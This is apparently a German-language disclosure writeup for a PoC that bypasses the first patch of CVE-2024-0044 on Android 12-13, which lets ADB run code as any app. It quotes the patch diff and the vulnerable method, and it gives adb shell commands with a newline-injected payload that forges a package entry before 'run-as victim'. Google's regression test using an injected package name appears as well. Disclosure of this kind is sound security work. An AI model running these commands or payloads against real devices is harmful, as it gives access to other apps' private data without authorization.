
Proof-of-Concept und Writeup zur Umgehung des ursprünglichen Patches von CVE-2024-0044, einer Android-Framework-Schwachstelle, die eine Privilegieneskalation von ADB zu beliebigen App-UIDs über die Injektion von Installer-Paketnamen ermöglicht.
CVE-2024-0044/A-307532206 ist eine Schwachstelle mit hohem Schweregrad im Android-Framework, die es Angreifern mit ADB-Zugriff ermöglicht, beliebigen Code unter der UID einer beliebigen App auszuführen. Sie wurde ursprünglich von Tom Hebb vom Meta Red Team X gefunden. Im Internet finden sich viele Artikel zur Ausnutzung dieser Schwachstelle, wie dieser und dieser. Weitere Informationen finden Sie in diesem Blog: https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html
Der Patch für diese Schwachstelle ist im Android Security Bulletin vom März 2024 enthalten, aber jetzt habe ich einen Exploit entwickelt, der den Patch umgeht. Der neue Patch ist im Android Security Bulletin vom Oktober 2024 unter derselben CVE-ID CVE-2024-0044 enthalten. Android 12-13 Geräte mit einem Sicherheitspatch-Level vor dem 01.10.2024 sind für dieses Problem anfällig.
Dieses Repository enthält einen minimal reproduzierbaren PoC und eine Beschreibung.
Der Patch fügte eine Validierung für den Installer-Paketnamen hinzu, der an den PackageManagerService übergeben wird:
diff --git a/services/core/java/com/android/server/pm/PackageInstallerService.java b/services/core/java/com/android/server/pm/PackageInstallerService.java
index 2ca3e8f..02515cf 100644
--- a/services/core/java/com/android/server/pm/PackageInstallerService.java
+++ b/services/core/java/com/android/server/pm/PackageInstallerService.java
@@ -47,6 +47,7 @@
import android.content.pm.PackageManager;
import android.content.pm.ParceledListSlice;
import android.content.pm.VersionedPackage;
+import android.content.pm.parsing.ParsingPackageUtils;
import android.graphics.Bitmap;
import android.net.Uri;
import android.os.Binder;
@@ -601,17 +602,22 @@
// App package name and label length is restricted so that really long strings aren't
// written to disk.
- if (params.appPackageName != null
- && params.appPackageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+ if (params.appPackageName != null && !isValidPackageName(params.appPackageName)) {
params.appPackageName = null;
}
params.appLabel = TextUtils.trimToSize(params.appLabel,
PackageItemInfo.MAX_SAFE_LABEL_LENGTH);
- String requestedInstallerPackageName = (params.installerPackageName != null
- && params.installerPackageName.length() < SessionParams.MAX_PACKAGE_NAME_LENGTH)
- ? params.installerPackageName : installerPackageName;
+ // Validate installer package name.
+ if (params.installerPackageName != null && !isValidPackageName(
+ params.installerPackageName)) {
+ params.installerPackageName = null;
+ }
+
+ String requestedInstallerPackageName =
+ params.installerPackageName != null ? params.installerPackageName
+ : installerPackageName;
if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
params.installFlags |= PackageManager.INSTALL_FROM_ADB;
@@ -935,6 +941,19 @@
throw new IllegalStateException("Failed to allocate session ID");
}
+ private static boolean isValidPackageName(@NonNull String packageName) {
+ if (packageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+ return false;
+ }
+ // "android" is a valid package name
+ String errorMessage = ParsingPackageUtils.validateName(
+ packageName, /* requireSeparator= */ false, /* requireFilename */ true);
+ if (errorMessage != null) {
+ return false;
+ }
+ return true;
+ }
+
Man sieht, dass params.installerPackageName auf null zurückgesetzt wird, wenn es sich nicht um einen gültigen Android-Paketnamen handelt. In der nächsten Zeile kann requestedInstallerPackageName jedoch installerPackageName sein, wenn params.installerPackageName null oder ungültig ist.
Was ist installerPackageName?
Schauen wir uns die Methode createSessionInternal an, in die der Patch eingefügt wurde:
@Override
public int createSession(SessionParams params, String installerPackageName,
String callingAttributionTag, int userId) {
try {
return createSessionInternal(params, installerPackageName, callingAttributionTag,
userId);
} catch (IOException e) {
throw ExceptionUtils.wrap(e);
}
}
private int createSessionInternal(SessionParams params, String installerPackageName,
String installerAttributionTag, int userId)
throws IOException{
}
Man sieht, dass installerPackageName ein separates Argument ist, das nicht aus param stammt. Der ursprüngliche Patch validierte params.installerPackageName, vergaß aber, installerPackageName zu validieren.
Sie können einfach den ursprünglichen Exploit-Code aus Tom Hebbs Blog verwenden, um ihn zu reproduzieren. Dieses Repository enthält auch einen minimal reproduzierbaren PoC. Wenn Sie meinen PoC testen möchten, bauen Sie ihn einfach, schieben Sie die generierte APK nach /data/local/tmp/poc.apk und führen Sie den folgenden Code mit adb shell aus:
APK=/data/local/tmp/poc.apk
PAYLOAD="@null
victim <victim uid> 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
app_process -Djava.class.path=$APK /system/bin top.canyie.cve_2024_0044.PoC "$APK" "$PAYLOAD"
run-as victim
Ersetzen Sie <victim uid> durch die UID der Ziel-App.
Wenn Sie das Spiel noch einmal spielen möchten, führen Sie adb uninstall top.canyie.cve_2024_0044 aus und führen Sie den obigen Code erneut aus.
Das Problem scheint offensichtlich – wie konnte es allen entgehen?
Nun, Google hat einen Test für dieses Problem hinzugefügt, um sicherzustellen, dass es behoben ist:
// Set vulnerable 'appPackageName' and 'installerPackageName'
// for 'SessionParams' instance
final String vulnPackageName =
context.getPackageName() + "\n" + context.getPackageName();
final SessionParams params = new SessionParams(MODE_FULL_INSTALL);
params.setAppPackageName(vulnPackageName);
params.setInstallerPackageName(vulnPackageName);